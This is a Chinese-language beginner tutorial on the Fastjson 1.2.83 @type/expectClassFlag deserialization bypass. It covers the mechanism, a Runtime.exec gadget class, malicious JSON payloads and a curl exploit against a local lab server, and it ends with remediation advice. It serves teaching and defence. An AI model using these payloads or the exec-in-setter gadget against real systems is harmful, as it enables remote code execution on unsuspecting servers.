文章

Fastjson 1.2.83 从零学懂:@type 是什么、为什么关了 autoType 还能 RCE

面向零基础新人的 Fastjson ≤1.2.83 教程。用生活类比讲清 JSON、@type、autoType,再讲 expectClassFlag 绕过、内部白名单、SafeMode 残留,并附本地 PoC 与 HTTP 靶场复现步骤。

Fastjson 1.2.83 从零学懂:@type 是什么、为什么关了 autoType 还能 RCE

免责声明:本文只做本地靶场学习、CTF 训练和授权安全研究。所有命令默认针对本机 127.0.0.1。请勿对未授权系统做任何测试。


这篇写给谁?

你可能:

  • 听说过 “Fastjson 有洞”,但不知道它在干什么;
  • 看过 @type payload,却看不懂为什么能执行命令;
  • 听说官方已经默认关闭 autoType,却又听说 1.2.83 仍能绕过。

读完本文,你至少能讲清楚三句话:

  1. Fastjson 把 JSON 文本变成 Java 对象;
  2. @type 可以指定“变成哪一个类”;
  3. 即使 autoTypeSupport=false,在某些字段类型下,仍可能加载攻击者指定的子类,进而触发危险代码。

本文不堆源码行号,优先讲人话 + 最小实验。


目录


0. 先把词搞懂

先别碰漏洞,先认 6 个词。

词人话解释
JSON一种文本格式,像 {"name":"小明"},方便程序之间传数据
Java 对象程序内存里的东西,比如一个 User,有 name、age 等字段
序列化把对象变成可传输/可存储的形式(这里主要指变成 JSON 文本)
反序列化把文本再还原成对象(Fastjson 最危险的操作往往在这里)
autoTypeFastjson 的一种能力:根据 JSON 里的 @type 自动决定加载哪个 Java 类
RCERemote Code Execution,远程代码执行,通俗说就是“让服务器跑攻击者的命令”

一个生活类比

把服务器想成快递仓库:

  • JSON 是快递单上的文字说明;
  • Java 对象是仓库里真正的货;
  • Fastjson 是按单子拆包、按说明生成货物的机器;
  • @type 相当于单子上写着:“请按某某型号组装”;
  • 如果型号完全由寄件人随便填,仓库就可能组装出危险货物。

漏洞的本质不是 “JSON 坏了”,而是:

不可信输入 + 自动按类名创建对象 + 对象创建/赋值时会执行危险逻辑。


1. Fastjson 正常在干什么

Fastjson 是阿里早期非常流行的 Java JSON 库。业务里最常见两种用法:

1
2
3
4
5
// 对象 -> JSON 文本
String json = JSON.toJSONString(user);

// JSON 文本 -> 对象
User user = JSON.parseObject(json, User.class);

正常、安全的用法通常是:

我已经知道目标类型是 User,你就按 User 填字段就行。

比如:

1
{"name":"alice","age":18}

程序会得到:

1
User{name=alice, age=18}

这一步本身没问题。危险从“类型也可由攻击者指定”开始。


2. @type:JSON 里塞“类名”

Fastjson 支持一种特殊字段:@type。

1
2
3
4
{
  "@type": "com.example.User",
  "name": "alice"
}

意思是:

不要只当普通 Map 解析,请按 com.example.User 这个类去创建对象,再把后面的字段塞进去。

这在“多态、接口字段、框架内部传对象”时很方便。
但从安全角度看,它等于:

攻击者可以尝试指定:创建哪一个类、给哪些属性赋值。

如果这个类在构造方法或 setXxx() 里会做危险事(比如执行命令、查 JNDI、读文件),反序列化就可能直接出事。


3. autoType:官方的门禁

历史上,autoType 开着时风险很大。后来官方默认:

1
autoTypeSupport = false

还加了:

  • 黑名单(deny)
  • 白名单(accept)
  • SafeMode(更严)

很多人因此以为:

“关了 autoType 就安全了。”

对自由顶层 @type 来说,默认确实更安全。
但 1.2.83 及更早版本里,还有几条“门没关严”的路径。本文重点讲最容易理解的一条:

expectClassFlag 路径。


4. 核心绕过:expectClassFlag

4.1 先记住一句话

当程序解析某个字段时,如果这个字段的类型不是那 10 个“太通用”的基类型,Fastjson 会认为:
“调用方已经期望某个具体类型了”,于是即便 autoTypeSupport=false,仍可能按 @type 去 loadClass。

4.2 那 10 个“太通用”的类型

官方把下面这些类型当成“太宽泛”:

  • Object
  • Serializable
  • Cloneable
  • Closeable
  • AutoCloseable
  • Readable
  • Runnable
  • EventListener
  • Iterable
  • Collection

字段是这些类型时:expectClassFlag = false,自由子类 @type 更容易被拦住。

字段不是这些类型时(例如 Exception、Throwable、很多业务接口/抽象类):

1
expectClassFlag = true

后面就可能走进:

1
2
3
if (autoTypeSupport || jsonType || expectClassFlag) {
    clazz = TypeUtils.loadClass(...);
}

注意:这里用的是 或。
所以:

1
2
autoTypeSupport = false
expectClassFlag = true

仍然可以加载类。

4.3 一个最容易懂的例子

脆弱 Bean:

1
2
3
4
public class UserPayload {
    private String name;
    private Exception detail; // 关键:字段类型是 Exception
}

恶意 JSON:

1
2
3
4
5
6
7
{
  "name": "attacker",
  "detail": {
    "@type": "com.vuln.gadget.EvilException",
    "cmd": "id"
  }
}

解析代码:

1
2
3
ParserConfig cfg = new ParserConfig();
cfg.setAutoTypeSupport(false); // 明明关了
UserPayload u = JSON.parseObject(json, UserPayload.class, cfg);

发生了什么:

  1. Fastjson 知道要解析成 UserPayload;
  2. 填 detail 字段时,期望类型是 Exception;
  3. Exception 不在那 10 个基类型里 → expectClassFlag=true;
  4. 即使 autoType 关着,仍加载 EvilException;
  5. 再检查:EvilException 是不是 Exception 的子类?是 → 通过;
  6. new EvilException(),再 setCmd("id");
  7. 如果 setCmd 里执行了命令,RCE 就成了。

这就是本漏洞最核心、也最适合新人理解的路径。


5. 为什么会变成 RCE

很多人卡在这里:

“加载一个类,为什么就能执行系统命令?”

答案:类加载本身不等于 RCE。
RCE 来自“创建对象 + 给属性赋值”时触发的副作用。

实验用的 gadget 可以长这样(教学用途,极度简化):

1
2
3
4
5
6
7
8
9
10
public class EvilException extends Exception {
    private String cmd;

    public void setCmd(String cmd) {
        this.cmd = cmd;
        try {
            Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
        } catch (Exception ignored) {}
    }
}

Fastjson 反序列化时会:

  1. 实例化 @type 指定的类;
  2. 对 JSON 里的字段调用对应 setXxx。

所以 payload 里的:

1
"cmd": "echo pwned > /tmp/fastjson_1283_pwned"

会变成:

1
evilException.setCmd("echo pwned > /tmp/fastjson_1283_pwned");

命令就这样被跑起来了。

真实环境里,gadget 通常不是你自己写的 EvilException,而是 classpath 里已有的危险类/利用链(历史常见 JNDI、TemplatesImpl、各种第三方库链等)。
教学环境用自写 gadget,是为了干净证明“实例化 + 属性注入”这条链路是通的。


6. 两条对照实验(必做)

理解漏洞,最好做一对“成/败”对照。

实验 A:字段类型 = Exception → 成功

1
2
// detail 类型是 Exception
{"detail":{"@type":"com.vuln.gadget.EvilException","cmd":"id"}}

预期:

  • 构造方法被调用
  • setCmd 被调用
  • 出现 RCE 标记文件

实验 B:字段类型 = Runnable → 失败

1
2
// task 类型是 Runnable(10 个基类型之一)
{"task":{"@type":"com.vuln.gadget.EvilRunnable","cmd":"id"}}

预期:

1
autoType is not support. com.vuln.gadget.EvilRunnable

对照结论

字段类型是否在 10 基类型内autoType=false 时
Exception否可能加载子类 → 可利用
Runnable是通常被拦

所以漏洞不是“任意 JSON 都能打”,而是:

业务模型里存在“非 10 基类型”的字段 + classpath 有可用 gadget。


7. 另外两个设计点(了解即可)

学到这里,核心已经够用。下面两点知道存在即可。

7.1 内部硬编码白名单(4 个哈希)

Fastjson 里有 4 个写死的 FNV1a_64 哈希,对应类似:

  • java.util.Collections$UnmodifiableMap
  • com.alibaba.fastjson.util.AntiCollisionHashMap
  • java.util.concurrent.ConcurrentSkipListMap
  • java.util.concurrent.ConcurrentSkipListSet

命中后会走内部白名单逻辑,更容易绕过 deny 限制。
它们本身通常不是直接 RCE gadget,但说明:

黑名单不是绝对屏障,硬编码白名单会扩大攻击面。

7.2 SafeMode 下的 Class 字段残留

即使开了 SafeMode,如果 Bean 里有 Class 类型字段,MiscCodec 可能直接:

1
TypeUtils.loadClass("java.lang.Runtime", ...)

这条路径不经过完整的 checkAutoType。

注意:

  • 这证明了“类加载门禁可被旁路”;
  • 单独加载 Class 对象 ≠ 立刻 RCE;
  • 要 RCE 还需要后续利用条件。

新人阶段记住:

SafeMode 不是“绝对安全开关”,也要看业务字段类型和解析路径。


8. 本地一键复现

下面假设你已经有一个本地 lab(JDK 11+,自带 fastjson-1.2.83.jar)。

8.1 环境要求

项目建议
系统Linux
JDK11 或 17
Fastjson1.2.83 官方 jar
权限仅本机实验

8.2 一键跑 PoC

1
2
3
4
5
# 进入你的 lab 目录
cd Fastjson-1.2.83-RCE

# 一键编译并运行四条验证路径
bash run-poc.sh

你应该能看到类似输出(关键片段):

1
2
3
4
5
6
Fastjson: 1.2.83
autoTypeSupport(global)=false

[Gadget] EvilException.<init>() called
[Gadget] EvilException.setCmd("echo pwned_by_expectClassFlag > /tmp/fastjson_1283_pwned && id") -> Runtime.exec
RCE CONFIRMED: marker file exists: /tmp/fastjson_1283_pwned

再验证标记文件:

1
2
cat /tmp/fastjson_1283_pwned
# 期望:pwned_by_expectClassFlag

8.3 你应该从日志里读到什么

  1. Case 1:自由顶层 @type 在 autoType=false 时不会直接实例化恶意类(相对安全)。
  2. Case 2:Exception 字段 + 恶意子类 → RCE 成功。
  3. Case 2b:Runnable 字段 → 被拦截。
  4. Case 3:内部白名单 4 类可加载。
  5. Case 4:SafeMode 下 Class 字段仍可加载类名。

如果只记住一个,记住 Case 2。


9. HTTP 黑盒风格复现

很多业务接口长这样:

1
2
3
4
POST /api/user
Content-Type: application/json

{"name":"...","detail":{...}}

后端如果直接:

1
JSON.parseObject(body, UserPayload.class);

就和 lab 一样危险。

9.1 启动简易靶场

1
java -cp out:lib/fastjson-1.2.83.jar com.vuln.server.VulnHttpServer 18083

9.2 健康检查

1
curl http://127.0.0.1:18083/health

期望类似:

1
{"fastjson":"1.2.83","safeMode":false,"status":"ok","autoTypeSupport":false}

注意:这里已经显示 autoTypeSupport=false。

9.3 发送恶意 JSON

1
2
3
curl -s http://127.0.0.1:18083/api/user \
  -H 'Content-Type: application/json' \
  -d '{"name":"attacker","detail":{"@type":"com.vuln.gadget.EvilException","cmd":"echo http_rce_ok > /tmp/fastjson_1283_http_pwned"}}'

9.4 验证

1
2
cat /tmp/fastjson_1283_http_pwned
# 期望:http_rce_ok

如果 lab 提供脚本,也可以:

1
bash exploit-http.sh http://127.0.0.1:18083

10. 真实场景还缺什么

教学 lab 为了让新人一眼看懂,用了自写 EvilException。
真实攻击要同时满足更多条件:

  1. 目标使用 Fastjson ≤ 1.2.83(或存在同类设计缺陷的版本/配置);
  2. 接口会把外部 JSON 反序列化到某个 Java 类型;
  3. 类型图中存在非 10 基类型字段(或可嵌套到该类型);
  4. classpath 上有可用 gadget(或可二次利用的类加载能力);
  5. 网络可达、WAF/网关未完整拦截 payload。

所以请建立正确心态:

说法是否准确
“1.2.83 一定能无条件 RCE”不准确
“关了 autoType 就绝对安全”不准确
“在特定字段类型 + gadget 条件下,autoType=false 仍可能被绕过”准确

11. 怎么修、怎么防

11.1 升级(首选)

  • 尽快离开存在设计缺陷的 1.2.x 老版本;
  • 评估迁移到维护中的 JSON 库方案(如 fastjson2,或其他严格类型绑定的库);
  • 升级后仍要做回归测试,确认业务解析行为符合预期。

11.2 配置与代码层

  1. 不要解析不可信 JSON 到宽泛类型
    少用 Object / 接口 / 抽象类直接承接外部输入。
  2. 能关就关危险能力
    评估是否需要 autoType;能不用就不用。
  3. 开启更严格模式并验证
    SafeMode 有帮助,但不能当银弹。
  4. 对输入做 schema 校验
    只允许白名单字段和固定结构。
  5. 依赖治理
    扫描并移除高危 gadget 依赖,缩小 classpath 攻击面。

11.3 运营层

  • 组件版本资产盘点(SBOM)
  • WAF/网关检测异常 @type
  • 运行时监控可疑进程创建、反序列化异常峰值

12. 一张图串起来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
恶意 JSON
   |
   v
JSON.parseObject(json, UserPayload.class)
   |
   v
发现字段 detail 的类型 = Exception
   |
   v
Exception 不在 10 个基类型里
   |
   v
expectClassFlag = true
   |
   v
即使 autoTypeSupport=false,仍 TypeUtils.loadClass(EvilException)
   |
   v
EvilException 是 Exception 子类,通过校验
   |
   v
new EvilException()
   |
   v
setCmd("...")  -> Runtime.exec(...)
   |
   v
RCE

如果把 Exception 换成 Runnable,链路会在中间断开。


13. 常见问题

Q1:我完全不会 Java,还能学吗?

能。你只要先接受三件事:

  1. JSON 是文本;
  2. 程序会把文本变成对象;
  3. 变成对象时可能执行类里的代码。

后面的类名、字段类型,可以边做实验边熟悉。

Q2:为什么官方要支持 @type?

为了方便表达多态和复杂对象图。安全与便利长期拉扯,历史版本在便利一侧走得太远。

Q3:看到 payload 里有 @type 就一定能打?

不一定。还要看版本、配置、目标类型、gadget、网络过滤。

Q4:SafeMode 开了是不是就结束了?

更安全,但不是结束。Class 字段等路径仍可能留下旁路,业务模型本身也可能有问题。

Q5:学习时最容易犯的错是什么?

把“教学 gadget 能 RCE”直接等同于“互联网上所有 1.2.83 服务都能一键打穿”。
正确姿势是:先证明机制,再谈真实利用条件。


14. 小结

用最少的话收束全文:

  1. Fastjson 负责 JSON ↔ Java 对象。
  2. @type 让攻击者有机会指定类名。
  3. autoTypeSupport=false 能挡住很多自由 @type,但不是一切。
  4. expectClassFlag 是理解 1.2.83 绕过的关键钥匙:字段类型不够“基类”,门就会松。
  5. RCE 来自危险类在创建/setter 时的副作用,不来自 JSON 文本本身。
  6. 学习路径建议:先跑对照实验(Exception 成功 / Runnable 失败),再回头看原理。

如果你刚入门 Java 安全,建议学习顺序:

1
2
3
4
5
6
JSON 基础
  -> Java 对象与 setter
  -> Fastjson 正常用法
  -> @type / autoType
  -> expectClassFlag 对照实验
  -> 再学真实 gadget 与历史利用链

最后再次提醒:

只在你自己的机器、授权靶场、课程实验环境中练习。
未经授权测试他人系统,是违法的。


附:最小记忆卡片

1
2
3
4
5
6
关了 autoType ≠ 绝对安全
字段类型决定 expectClassFlag
Exception 类字段可能放行子类
Runnable 等 10 基类型更难绕
加载类 + 危险 setter = 可能 RCE
升级 + 收窄类型 + 清理 gadget = 正道
本文由作者按照 CC BY 4.0 进行授权